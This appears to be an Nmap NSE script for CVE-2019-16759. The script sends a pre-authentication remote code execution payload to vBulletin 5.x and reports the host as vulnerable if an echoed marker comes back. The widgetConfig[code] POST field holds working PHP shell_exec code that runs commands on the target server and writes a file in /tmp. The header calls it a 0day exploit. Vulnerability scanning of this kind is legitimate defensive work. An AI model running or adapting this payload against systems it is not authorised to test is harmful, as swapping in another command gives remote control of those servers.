description = [[
vBulletin 5.x 0day pre-auth RCE exploit
This should work on all versions from 5.0.0 till 5.5.4
]]
local http = require "http"
local shortport = require "shortport"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"
---
-- @usage
-- nmap -p <port> --script http-vuln-CVE-2019-16759 <target>
--
-- @output
-- PORT STATE SERVICE
-- s4430/tcp open http
-- | http-vuln-CVE-2019-16759:
-- | VULNERABLE
-- | vBulletin 5.x 0day pre-auth RCE exploit
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2019-16759
-- |
-- | Disclosure date: 2019-09-23
-- | References:
-- | https://seclists.org/fulldisclosure/2019/Sep/31
-- |_ https://nvd.nist.gov/vuln/detail/CVE-2019-16759
--
-- @args http-vuln-cve2019-16759.path The default URL path to request. The default is "/".
author = "r00tpgp"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = { "vuln" }
portrule = shortport.http
action = function(host, port)
local vuln = {
title = "vBulletin 5.x 0day pre-auth RCE exploit",
state = vulns.STATE.NOT_VULN,
description = [[
vBulletin 5.x 0day pre-auth RCE exploit
This should work on all versions from 5.0.0 till 5.5.4
]],
IDS = {
CVE = "CVE-2019-16759"
},
references = {
'https://seclists.org/fulldisclosure/2019/Sep/31',
'https://nvd.nist.gov/vuln/detail/CVE-2019-16759',
},
dates = {
disclosure = { year = '2019', month = '09', day = '23' }
}
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "POST"
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/index.php?routestring=ajax/render/widget_php"
local body = {
["widgetConfig[code]"] = "echo shell_exec(\'echo h4x0000r > /tmp/nmap.check.out; cat /tmp/nmap.check.out\');exit;",
}
local options = {
header = {
Connection = "close",
["Content-Type"] = "application/x-www-form-urlencoded",
["User-Agent"] = "curl/7.65.3",
["Accept"] = "*/*",
},
content = body
}
local response = http.post(host, port, path, nil, nil, body)
if response and string.match(response.body, "h4x0000r") then
vuln.state = vulns.STATE.VULN
end
return vuln_report:make_output(vuln)
end
